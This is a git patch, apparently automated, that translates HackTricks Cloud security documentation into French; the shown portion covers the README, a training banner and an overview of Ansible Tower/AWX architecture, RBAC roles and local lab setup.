From 9bd90436f1a750587adc60213494602f1beec19f Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Tue, 31 Dec 2024 20:17:59 +0000
Subject: [PATCH] Translated ['src/README.md',
 'src/banners/hacktricks-training.md', 'src/

---
 src/README.md                                 |   20 +-
 src/SUMMARY.md                                |    2 +
 src/banners/hacktricks-training.md            |   16 +-
 ...ower-awx-automation-controller-security.md |  176 ++-
 .../apache-airflow-security/README.md         |  156 ++-
 .../airflow-configuration.md                  |  118 +-
 .../apache-airflow-security/airflow-rbac.md   |   32 +-
 src/pentesting-ci-cd/atlantis-security.md     |  282 +++--
 src/pentesting-ci-cd/circleci-security.md     |  300 +++--
 .../cloudflare-security/README.md             |  118 +-
 .../cloudflare-security/cloudflare-domains.md |  136 ++-
 .../cloudflare-zero-trust-network.md          |   46 +-
 .../concourse-security/README.md              |   22 +-
 .../concourse-architecture.md                 |   32 +-
 .../concourse-enumeration-and-attacks.md      |  340 +++---
 .../concourse-lab-creation.md                 |  144 ++-
 src/pentesting-ci-cd/gitea-security/README.md |  134 +--
 .../gitea-security/basic-gitea-information.md |  116 +-
 .../github-security/README.md                 |  258 ++---
 .../abusing-github-actions/README.md          |  576 +++++-----
 .../gh-actions-artifact-poisoning.md          |    7 +-
 .../gh-actions-cache-poisoning.md             |    7 +-
 .../gh-actions-context-script-injections.md   |    7 +-
 .../accessible-deleted-data-in-github.md      |   56 +-
 .../basic-github-information.md               |  298 +++--
 .../jenkins-security/README.md                |  310 +++--
 .../basic-jenkins-information.md              |   88 +-
 ...itrary-file-read-to-rce-via-remember-me.md |  138 ++-
 .../jenkins-dumping-secrets-from-groovy.md    |   78 +-
 ...jenkins-rce-creating-modifying-pipeline.md |   36 +-
 .../jenkins-rce-creating-modifying-project.md |   28 +-
 .../jenkins-rce-with-groovy-script.md         |   42 +-
 src/pentesting-ci-cd/okta-security/README.md  |   86 +-
 .../okta-security/okta-hardening.md           |  126 +-
 .../pentesting-ci-cd-methodology.md           |   96 +-
 .../serverless.com-security.md                | 1022 ++++++++---------
 src/pentesting-ci-cd/supabase-security.md     |  116 +-
 src/pentesting-ci-cd/terraform-security.md    |  294 +++--
 src/pentesting-ci-cd/todo.md                  |    8 +-
 .../travisci-security/README.md               |   52 +-
 .../basic-travisci-information.md             |   72 +-
 src/pentesting-ci-cd/vercel-security.md       |  538 +++++----
 src/pentesting-cloud/aws-security/README.md   |  220 ++--
 .../aws-basic-information/README.md           |  400 +++----
 .../aws-federation-abuse.md                   |  158 ++-
 .../aws-permissions-for-a-pentest.md          |   26 +-
 .../aws-security/aws-persistence/README.md    |    7 +-
 .../aws-api-gateway-persistence.md            |   20 +-
 .../aws-cognito-persistence.md                |   30 +-
 .../aws-dynamodb-persistence.md               |   62 +-
 .../aws-persistence/aws-ec2-persistence.md    |   50 +-
 .../aws-persistence/aws-ecr-persistence.md    |  104 +-
 .../aws-persistence/aws-ecs-persistence.md    |  100 +-
 .../aws-persistence/aws-efs-persistence.md    |   14 +-
 .../aws-elastic-beanstalk-persistence.md      |   80 +-
 .../aws-persistence/aws-iam-persistence.md    |   54 +-
 .../aws-persistence/aws-kms-persistence.md    |   28 +-
 .../aws-lambda-persistence/README.md          |   58 +-
 .../aws-abusing-lambda-extensions.md          |   30 +-
 .../aws-lambda-layers-persistence.md          |  104 +-
 .../aws-lightsail-persistence.md              |   30 +-
 .../aws-persistence/aws-rds-persistence.md    |   20 +-
 .../aws-persistence/aws-s3-persistence.md     |   12 +-
 .../aws-secrets-manager-persistence.md        |   52 +-
 .../aws-persistence/aws-sns-persistence.md    |  116 +-
 .../aws-persistence/aws-sqs-persistence.md    |   42 +-
 .../aws-persistence/aws-ssm-perssitence.md    |    5 -
 .../aws-step-functions-persistence.md         |   16 +-
 .../aws-persistence/aws-sts-persistence.md    |  132 +--
 .../aws-post-exploitation/README.md           |    5 -
 .../aws-api-gateway-post-exploitation.md      |   74 +-
 .../aws-cloudfront-post-exploitation.md       |   24 +-
 .../aws-codebuild-post-exploitation/README.md |   52 +-
 .../aws-codebuild-token-leakage.md            |  198 ++--
 .../aws-control-tower-post-exploitation.md    |   14 +-
 .../aws-dlm-post-exploitation.md              |  152 ++-
 .../aws-dynamodb-post-exploitation.md         |  294 ++---
 .../README.md                                 |  590 +++++-----
 .../aws-ebs-snapshot-dump.md                  |   70 +-
 .../aws-malicious-vpc-mirror.md               |   14 +-
 .../aws-ecr-post-exploitation.md              |   54 +-
 .../aws-ecs-post-exploitation.md              |   42 +-
 .../aws-efs-post-exploitation.md              |   32 +-
 .../aws-eks-post-exploitation.md              |  134 +--
 ...aws-elastic-beanstalk-post-exploitation.md |   46 +-
 .../aws-iam-post-exploitation.md              |  102 +-
 .../aws-kms-post-exploitation.md              |  136 +--
 .../aws-lambda-post-exploitation/README.md    |   14 +-
 .../aws-warm-lambda-persistence.md            |   58 +-
 .../aws-lightsail-post-exploitation.md        |   20 +-
 .../aws-organizations-post-exploitation.md    |   14 +-
 .../aws-rds-post-exploitation.md              |   56 +-
 .../aws-s3-post-exploitation.md               |   32 +-
 .../aws-secrets-manager-post-exploitation.md  |   40 +-
 .../aws-ses-post-exploitation.md              |   40 +-
 .../aws-sns-post-exploitation.md              |   44 +-
 .../aws-sqs-post-exploitation.md              |   48 +-
 ...sso-and-identitystore-post-exploitation.md |   10 +-
 .../aws-stepfunctions-post-exploitation.md    |   40 +-
 .../aws-sts-post-exploitation.md              |   48 +-
 .../aws-vpn-post-exploitation.md              |    6 +-
 .../aws-privilege-escalation/README.md        |   20 +-
 .../aws-apigateway-privesc.md                 |   52 +-
 .../aws-chime-privesc.md                      |    6 +-
 .../aws-cloudformation-privesc/README.md      |   92 +-
 ...stack-and-cloudformation-describestacks.md |  124 +-
 .../aws-codebuild-privesc.md                  |  248 ++--
 .../aws-codepipeline-privesc.md               |   20 +-
 .../aws-codestar-privesc/README.md            |   60 +-
 ...ateproject-codestar-associateteammember.md |  146 ++-
 .../iam-passrole-codestar-createproject.md    |  106 +-
 .../aws-cognito-privesc.md                    |  272 ++---
 .../aws-datapipeline-privesc.md               |   84 +-
 .../aws-directory-services-privesc.md         |   20 +-
 .../aws-dynamodb-privesc.md                   |   10 +-
 .../aws-ebs-privesc.md                        |   16 +-
 .../aws-ec2-privesc.md                        |  204 ++--
 .../aws-ecr-privesc.md                        |  108 +-
 .../aws-ecs-privesc.md                        |  230 ++--
 .../aws-efs-privesc.md                        |   90 +-
 .../aws-elastic-beanstalk-privesc.md          |  140 +--
 .../aws-emr-privesc.md                        |   44 +-
 .../aws-privilege-escalation/aws-gamelift.md  |   12 +-
 .../aws-glue-privesc.md                       |   48 +-
 .../aws-iam-privesc.md                        |  196 ++--
 .../aws-kms-privesc.md                        |  124 +-
 .../aws-lambda-privesc.md                     |  210 ++--
 .../aws-lightsail-privesc.md                  |  110 +-
 .../aws-mediapackage-privesc.md               |   14 +-
 .../aws-mq-privesc.md                         |   26 +-
 .../aws-msk-privesc.md                        |   14 +-
 .../aws-organizations-prinvesc.md             |   12 +-
 .../aws-rds-privesc.md                        |  114 +-
 .../aws-redshift-privesc.md                   |   48 +-
 .../aws-s3-privesc.md                         |  222 ++--
 .../aws-sagemaker-privesc.md                  |   82 +-
 .../aws-secrets-manager-privesc.md            |   40 +-
 .../aws-sns-privesc.md                        |   24 +-
 .../aws-sqs-privesc.md                        |   24 +-
 .../aws-ssm-privesc.md                        |   72 +-
 .../aws-sso-and-identitystore-privesc.md      |   78 +-
 .../aws-stepfunctions-privesc.md              |  284 +++--
 .../aws-sts-privesc.md                        |  122 +-
 .../aws-workdocs-privesc.md                   |   26 +-
 .../eventbridgescheduler-privesc.md           |   48 +-
 ...acm-pca-issuecertificate-acm-pca-getcer.md |   24 +-
 .../aws-security/aws-services/README.md       |   32 +-
 .../aws-services/aws-api-gateway-enum.md      |  170 ++-
 ...m-and-private-certificate-authority-pca.md |   18 +-
 .../aws-cloudformation-and-codestar-enum.md   |   24 +-
 .../aws-services/aws-cloudfront-enum.md       |   20 +-
 .../aws-services/aws-cloudhsm-enum.md         |   76 +-
 .../aws-services/aws-codebuild-enum.md        |   36 +-
 .../aws-services/aws-cognito-enum/README.md   |   30 +-
 .../cognito-identity-pools.md                 |  118 +-
 .../aws-cognito-enum/cognito-user-pools.md    |  440 ++++---
 ...e-codepipeline-codebuild-and-codecommit.md |   40 +-
 .../aws-directory-services-workdocs-enum.md   |   52 +-
 .../aws-services/aws-documentdb-enum.md       |   14 +-
 .../aws-services/aws-dynamodb-enum.md         |  100 +-
 .../README.md                                 |  150 ++-
 .../aws-nitro-enum.md                         |  176 ++-
 ...ws-vpc-and-networking-basic-information.md |  212 ++--
 .../aws-security/aws-services/aws-ecr-enum.md |   68 +-
 .../aws-security/aws-services/aws-ecs-enum.md |   46 +-
 .../aws-security/aws-services/aws-efs-enum.md |   98 +-
 .../aws-security/aws-services/aws-eks-enum.md |   20 +-
 .../aws-elastic-beanstalk-enum.md             |   74 +-
 .../aws-services/aws-elasticache.md           |    8 +-
 .../aws-security/aws-services/aws-emr-enum.md |   56 +-
 .../aws-security/aws-services/aws-iam-enum.md |  130 +--
 .../aws-kinesis-data-firehose-enum.md         |   22 +-
 .../aws-security/aws-services/aws-kms-enum.md |  148 ++-
 .../aws-services/aws-lambda-enum.md           |   96 +-
 .../aws-services/aws-lightsail-enum.md        |   22 +-
 .../aws-security/aws-services/aws-mq-enum.md  |   38 +-
 .../aws-security/aws-services/aws-msk-enum.md |   32 +-
 .../aws-services/aws-organizations-enum.md    |   24 +-
 .../aws-services/aws-other-services-enum.md   |   14 +-
 .../aws-services/aws-redshift-enum.md         |   38 +-
 .../aws-relational-database-rds-enum.md       |   98 +-
 .../aws-services/aws-route53-enum.md          |   18 +-
 .../aws-s3-athena-and-glacier-enum.md         |  256 ++---
 .../aws-services/aws-secrets-manager-enum.md  |   24 +-
 .../README.md                                 |    7 +-
 .../aws-cloudtrail-enum.md                    |  234 ++--
 .../aws-cloudwatch-enum.md                    |  386 +++----
 .../aws-config-enum.md                        |   52 +-
 .../aws-control-tower-enum.md                 |   22 +-
 .../aws-cost-explorer-enum.md                 |   14 +-
 .../aws-detective-enum.md                     |    8 +-
 .../aws-firewall-manager-enum.md              |  208 ++--
 .../aws-guardduty-enum.md                     |  128 +--
 .../aws-inspector-enum.md                     |  244 ++--
 .../aws-macie-enum.md                         |   90 +-
 .../aws-security-hub-enum.md                  |   36 +-
 .../aws-shield-enum.md                        |   12 +-
 .../aws-trusted-advisor-enum.md               |   90 +-
 .../aws-waf-enum.md                           |  404 +++----
 .../aws-security/aws-services/aws-ses-enum.md |   42 +-
 .../aws-security/aws-services/aws-sns-enum.md |   50 +-
 .../aws-services/aws-sqs-and-sns-enum.md      |   20 +-
 .../aws-services/aws-stepfunctions-enum.md    |  362 +++---
 .../aws-security/aws-services/aws-sts-enum.md |   78 +-
 .../aws-services/eventbridgescheduler-enum.md |   54 +-
 .../aws-unauthenticated-enum-access/README.md |   66 +-
 .../aws-accounts-unauthenticated-enum.md      |   32 +-
 .../aws-api-gateway-unauthenticated-enum.md   |   62 +-
 .../aws-cloudfront-unauthenticated-enum.md    |    8 +-
 .../aws-codebuild-unauthenticated-access.md   |   22 +-
 .../aws-cognito-unauthenticated-enum.md       |   38 +-
 .../aws-documentdb-enum.md                    |    8 +-
 .../aws-dynamodb-unauthenticated-access.md    |   10 +-
 .../aws-ec2-unauthenticated-enum.md           |   28 +-
 .../aws-ecr-unauthenticated-enum.md           |   20 +-
 .../aws-ecs-unauthenticated-enum.md           |   14 +-
 ...-elastic-beanstalk-unauthenticated-enum.md |   28 +-
 .../aws-elasticsearch-unauthenticated-enum.md |    8 +-
 .../aws-iam-and-sts-unauthenticated-enum.md   |  186 ++-
 ...ity-center-and-sso-unauthenticated-enum.md |   96 +-
 .../aws-iot-unauthenticated-enum.md           |    8 +-
 .../aws-kinesis-video-unauthenticated-enum.md |    8 +-
 .../aws-lambda-unauthenticated-access.md      |   20 +-
 .../aws-media-unauthenticated-enum.md         |    8 +-
 .../aws-mq-unauthenticated-enum.md            |   14 +-
 .../aws-msk-unauthenticated-enum.md           |   14 +-
 .../aws-rds-unauthenticated-enum.md           |   22 +-
 .../aws-redshift-unauthenticated-enum.md      |    8 +-
 .../aws-s3-unauthenticated-enum.md            |  138 +--
 .../aws-sns-unauthenticated-enum.md           |   14 +-
 .../aws-sqs-unauthenticated-enum.md           |   14 +-
 src/pentesting-cloud/azure-security/README.md |  132 +--
 .../az-basic-information/README.md            |  484 ++++----
 .../az-tokens-and-public-applications.md      |  192 ++--
 .../azure-security/az-device-registration.md  |   68 +-
 .../azure-security/az-enumeration-tools.md    |   84 +-
 .../az-arc-vulnerable-gpo-deploy-script.md    |   48 +-
 .../az-local-cloud-credentials.md             |   42 +-
 .../az-pass-the-certificate.md                |   36 +-
 .../az-pass-the-cookie.md                     |   24 +-
 ...g-primary-refresh-token-microsoft-entra.md |    6 +-
 .../az-primary-refresh-token-prt.md           |    6 +-
 .../az-processes-memory-access-token.md       |   20 +-
 .../az-permissions-for-a-pentest.md           |    6 +-
 .../pentesting-cloud-methodology.md           |  216 ++--
 245 files changed, 10089 insertions(+), 12816 deletions(-)

diff --git a/src/README.md b/src/README.md
index 01b146fd1..c48f5bfbc 100644
--- a/src/README.md
+++ b/src/README.md
@@ -9,32 +9,28 @@ Reading time: {{ #reading_time }}
 _Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
 
 > [!TIP]
-> Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
+> Bienvenue sur la page où vous trouverez chaque **astuce/technique de hacking/quoi que ce soit lié à CI/CD & Cloud** que j'ai appris dans **CTFs**, **vraies** environnements **de vie**, **recherchant**, et **lisant** des recherches et des nouvelles.
 
-### **Pentesting CI/CD Methodology**
+### **Méthodologie de Pentesting CI/CD**
 
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
+**Dans la méthodologie CI/CD de HackTricks, vous trouverez comment pentester l'infrastructure liée aux activités CI/CD.** Lisez la page suivante pour une **introduction :**
 
 [pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
 
-### Pentesting Cloud Methodology
+### Méthodologie de Pentesting Cloud
 
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
+**Dans la méthodologie Cloud de HackTricks, vous trouverez comment pentester les environnements cloud.** Lisez la page suivante pour une **introduction :**
 
 [pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
 
-### License & Disclaimer
+### Licence & Avertissement
 
-**Check them in:**
+**Vérifiez-les ici :**
 
 [HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
 
-### Github Stats
+### Statistiques Github
 
 ![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
 
 {{#include ./banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index feae5163c..1b1d60c58 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -505,3 +505,5 @@
 
 
 
+
+
diff --git a/src/banners/hacktricks-training.md b/src/banners/hacktricks-training.md
index b684cee3d..df51db92d 100644
--- a/src/banners/hacktricks-training.md
+++ b/src/banners/hacktricks-training.md
@@ -1,17 +1,13 @@
 > [!TIP]
-> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
-> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
+> Apprenez et pratiquez le hacking AWS :<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
+> Apprenez et pratiquez le hacking GCP : <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
 >
 > <details>
 >
-> <summary>Support HackTricks</summary>
+> <summary>Soutenir HackTricks</summary>
 >
-> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
-> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+> - Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
+> - **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+> - **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
 >
 > </details>
-
-
-
-
diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
index d3fbf19e5..0e883b739 100644
--- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
+++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md
@@ -1,63 +1,62 @@
-# Ansible Tower / AWX / Automation controller Security
+# Ansible Tower / AWX / Sécurité du contrôleur d'automatisation
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
+**Ansible Tower** ou sa version open source [**AWX**](https://github.com/ansible/awx) est également connu comme **l'interface utilisateur, le tableau de bord et l'API REST d'Ansible**. Avec **le contrôle d'accès basé sur les rôles**, la planification des tâches et la gestion graphique des inventaires, vous pouvez gérer votre infrastructure Ansible depuis une interface moderne. L'API REST de Tower et l'interface en ligne de commande facilitent son intégration dans les outils et flux de travail actuels.
 
-**Automation Controller is a newer** version of Ansible Tower with more capabilities.
+**Le contrôleur d'automatisation est une version plus récente** d'Ansible Tower avec plus de capacités.
 
-### Differences
+### Différences
 
-According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
+Selon [**cet article**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), les principales différences entre Ansible Tower et AWX sont le support reçu et Ansible Tower dispose de fonctionnalités supplémentaires telles que le contrôle d'accès basé sur les rôles, le support des API personnalisées et des flux de travail définis par l'utilisateur.
 
-### Tech Stack
+### Stack technologique
 
-- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
-- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
-- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
-- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
-- **Redis**: Redis serves as a cache and a backend for the task queue.
+- **Interface Web** : C'est l'interface graphique où les utilisateurs peuvent gérer les inventaires, les identifiants, les modèles et les tâches. Elle est conçue pour être intuitive et fournit des visualisations pour aider à comprendre l'état et les résultats de vos tâches d'automatisation.
+- **API REST** : Tout ce que vous pouvez faire dans l'interface web, vous pouvez également le faire via l'API REST. Cela signifie que vous pouvez intégrer AWX/Tower avec d'autres systèmes ou script des actions que vous effectueriez normalement dans l'interface.
+- **Base de données** : AWX/Tower utilise une base de données (généralement PostgreSQL) pour stocker sa configuration, les résultats des tâches et d'autres données opérationnelles nécessaires.
+- **RabbitMQ** : C'est le système de messagerie utilisé par AWX/Tower pour communiquer entre les différents composants, en particulier entre le service web et les exécuteurs de tâches.
+- **Redis** : Redis sert de cache et de backend pour la file d'attente des tâches.
 
-### Logical Components
+### Composants logiques
 
-- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
-- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
-- **Templates**: Job templates define **how a particular playbook will be run**, specifying the **inventory**, **credentials**, and other **parameters** for the job.
-- **Credentials**: AWX/Tower provides a secure way to **manage and store secrets, such as SSH keys, passwords, and API tokens**. These credentials can be associated with job templates so that playbooks have the necessary access when they run.
-- **Task Engine**: This is where the magic happens. The task engine is built on Ansible and is responsible for **running the playbooks**. Jobs are dispatched to the task engine, which then runs the Ansible playbooks against the designated inventory using the specified credentials.
-- **Schedulers and Callbacks**: These are advanced features in AWX/Tower that allow **jobs to be scheduled** to run at specific times or triggered by external events.
-- **Notifications**: AWX/Tower can send notifications based on the success or failure of jobs. It supports various means of notifications such as emails, Slack messages, webhooks, etc.
-- **Ansible Playbooks**: Ansible playbooks are configuration, deployment, and orchestration tools. They describe the desired state of systems in an automated, repeatable way. Written in YAML, playbooks use Ansible's declarative automation language to describe configurations, tasks, and steps that need to be executed.
+- **Inventaires** : Un inventaire est une **collection d'hôtes (ou de nœuds)** contre lesquels des **tâches** (playbooks Ansible) peuvent être **exécutées**. AWX/Tower vous permet de définir et de regrouper vos inventaires et prend également en charge les inventaires dynamiques qui peuvent **récupérer des listes d'hôtes à partir d'autres systèmes** comme AWS, Azure, etc.
+- **Projets** : Un projet est essentiellement une **collection de playbooks Ansible** provenant d'un **système de contrôle de version** (comme Git) pour tirer les derniers playbooks lorsque nécessaire.
+- **Modèles** : Les modèles de tâches définissent **comment un playbook particulier sera exécuté**, spécifiant l'**inventaire**, les **identifiants** et d'autres **paramètres** pour la tâche.
+- **Identifiants** : AWX/Tower fournit un moyen sécurisé de **gérer et de stocker des secrets, tels que des clés SSH, des mots de passe et des jetons API**. Ces identifiants peuvent être associés à des modèles de tâches afin que les playbooks aient l'accès nécessaire lorsqu'ils s'exécutent.
+- **Moteur de tâches** : C'est là que la magie opère. Le moteur de tâches est construit sur Ansible et est responsable de **l'exécution des playbooks**. Les tâches sont envoyées au moteur de tâches, qui exécute ensuite les playbooks Ansible contre l'inventaire désigné en utilisant les identifiants spécifiés.
+- **Planificateurs et rappels** : Ce sont des fonctionnalités avancées dans AWX/Tower qui permettent aux **tâches d'être planifiées** pour s'exécuter à des moments spécifiques ou déclenchées par des événements externes.
+- **Notifications** : AWX/Tower peut envoyer des notifications en fonction du succès ou de l'échec des tâches. Il prend en charge divers moyens de notifications tels que les e-mails, les messages Slack, les webhooks, etc.
+- **Playbooks Ansible** : Les playbooks Ansible sont des outils de configuration, de déploiement et d'orchestration. Ils décrivent l'état souhaité des systèmes de manière automatisée et répétable. Écrits en YAML, les playbooks utilisent le langage d'automatisation déclaratif d'Ansible pour décrire les configurations, les tâches et les étapes qui doivent être exécutées.
 
-### Job Execution Flow
+### Flux d'exécution des tâches
 
-1. **User Interaction**: A user can interact with AWX/Tower either through the **Web Interface** or the **REST API**. These provide front-end access to all the functionalities offered by AWX/Tower.
-2. **Job Initiation**:
-   - The user, via the Web Interface or API, initiates a job based on a **Job Template**.
-   - The Job Template includes references to the **Inventory**, **Project** (containing the playbook), and **Credentials**.
-   - Upon job initiation, a request is sent to the AWX/Tower backend to queue the job for execution.
-3. **Job Queuing**:
-   - **RabbitMQ** handles the messaging between the web component and the task runners. Once a job is initiated, a message is dispatched to the task engine using RabbitMQ.
-   - **Redis** acts as the backend for the task queue, managing queued jobs awaiting execution.
-4. **Job Execution**:
-   - The **Task Engine** picks up the queued job. It retrieves the necessary information from the **Database** about the job's associated playbook, inventory, and credentials.
-   - Using the retrieved Ansible playbook from the associated **Project**, the Task Engine runs the playbook against the specified **Inventory** nodes using the provided **Credentials**.
-   - As the playbook runs, its execution output (logs, facts, etc.) gets captured and stored in the **Database**.
-5. **Job Results**:
-   - Once the playbook finishes running, the results (success, failure, logs) are saved to the **Database**.
-   - Users can then view the results through the Web Interface or query them via the REST API.
-   - Based on job outcomes, **Notifications** can be dispatched to inform users or external systems about the job's status. Notifications could be emails, Slack messages, webhooks, etc.
-6. **External Systems Integration**:
-   - **Inventories** can be dynamically sourced from external systems, allowing AWX/Tower to pull in hosts from sources like AWS, Azure, VMware, and more.
-   - **Projects** (playbooks) can be fetched from version control systems, ensuring the use of up-to-date playbooks during job execution.
-   - **Schedulers and Callbacks** can be used to integrate with other systems or tools, making AWX/Tower react to external triggers or run jobs at predetermined times.
+1. **Interaction utilisateur** : Un utilisateur peut interagir avec AWX/Tower soit via l'**Interface Web** soit via l'**API REST**. Ces interfaces fournissent un accès frontal à toutes les fonctionnalités offertes par AWX/Tower.
+2. **Initiation de la tâche** :
+   - L'utilisateur, via l'Interface Web ou l'API, initie une tâche basée sur un **Modèle de Tâche**.
+   - Le Modèle de Tâche inclut des références à l'**Inventaire**, au **Projet** (contenant le playbook) et aux **Identifiants**.
+   - Lors de l'initiation de la tâche, une demande est envoyée au backend d'AWX/Tower pour mettre la tâche en file d'attente pour exécution.
+3. **Mise en file d'attente de la tâche** :
+   - **RabbitMQ** gère la messagerie entre le composant web et les exécuteurs de tâches. Une fois qu'une tâche est initiée, un message est envoyé au moteur de tâches via RabbitMQ.
+   - **Redis** agit comme le backend pour la file d'attente des tâches, gérant les tâches mises en file d'attente en attente d'exécution.
+4. **Exécution de la tâche** :
+   - Le **Moteur de Tâches** prend la tâche mise en file d'attente. Il récupère les informations nécessaires de la **Base de données** concernant le playbook associé à la tâche, l'inventaire et les identifiants.
+   - En utilisant le playbook Ansible récupéré du **Projet** associé, le Moteur de Tâches exécute le playbook contre les nœuds de l'**Inventaire** spécifié en utilisant les **Identifiants** fournis.
+   - Au fur et à mesure que le playbook s'exécute, sa sortie d'exécution (journaux, faits, etc.) est capturée et stockée dans la **Base de données**.
+5. **Résultats de la tâche** :
+   - Une fois que le playbook a terminé son exécution, les résultats (succès, échec, journaux) sont enregistrés dans la **Base de données**.
+   - Les utilisateurs peuvent ensuite consulter les résultats via l'Interface Web ou les interroger via l'API REST.
+   - En fonction des résultats des tâches, des **Notifications** peuvent être envoyées pour informer les utilisateurs ou les systèmes externes de l'état de la tâche. Les notifications peuvent être des e-mails, des messages Slack, des webhooks, etc.
+6. **Intégration avec des systèmes externes** :
+   - Les **Inventaires** peuvent être dynamiquement récupérés à partir de systèmes externes, permettant à AWX/Tower de tirer des hôtes de sources telles que AWS, Azure, VMware, et plus encore.
+   - Les **Projets** (playbooks) peuvent être récupérés à partir de systèmes de contrôle de version, garantissant l'utilisation de playbooks à jour lors de l'exécution des tâches.
+   - Les **Planificateurs et Rappels** peuvent être utilisés pour s'intégrer à d'autres systèmes ou outils, permettant à AWX/Tower de réagir à des déclencheurs externes ou d'exécuter des tâches à des moments prédéterminés.
 
-### AWX lab creation for testing
-
-[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) it's possible to use docker-compose to run AWX:
+### Création d'un laboratoire AWX pour les tests
 
+[**Suivant la documentation**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md), il est possible d'utiliser docker-compose pour exécuter AWX :
 ```bash
 git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version
 
@@ -83,61 +82,56 @@ docker exec -ti tools_awx_1 awx-manage createsuperuser
 # Load demo data
 docker exec tools_awx_1 awx-manage create_preload_data
 ```
-
 ## RBAC
 
-### Supported roles
+### Rôles pris en charge
 
-The most privileged role is called **System Administrator**. Anyone with this role can **modify anything**.
+Le rôle le plus privilégié s'appelle **Administrateur Système**. Quiconque a ce rôle peut **modifier quoi que ce soit**.
 
-From a **white box security** review, you would need the **System Auditor role**, which allow to **view all system data** but cannot make any changes. Another option would be to get the **Organization Auditor role**, but it would be better to get the other one.
+D'un examen de **sécurité en boîte blanche**, vous auriez besoin du **rôle d'Auditeur Système**, qui permet de **voir toutes les données du système** mais ne peut apporter aucune modification. Une autre option serait d'obtenir le **rôle d'Auditeur d'Organisation**, mais il serait préférable d'obtenir l'autre.
 
 <details>
 
-<summary>Expand this to get detailed description of available roles</summary>
+<summary>Développez ceci pour obtenir une description détaillée des rôles disponibles</summary>
 
-1. **System Administrator**:
-   - This is the superuser role with permissions to access and modify any resource in the system.
-   - They can manage all organizations, teams, projects, inventories, job templates, etc.
-2. **System Auditor**:
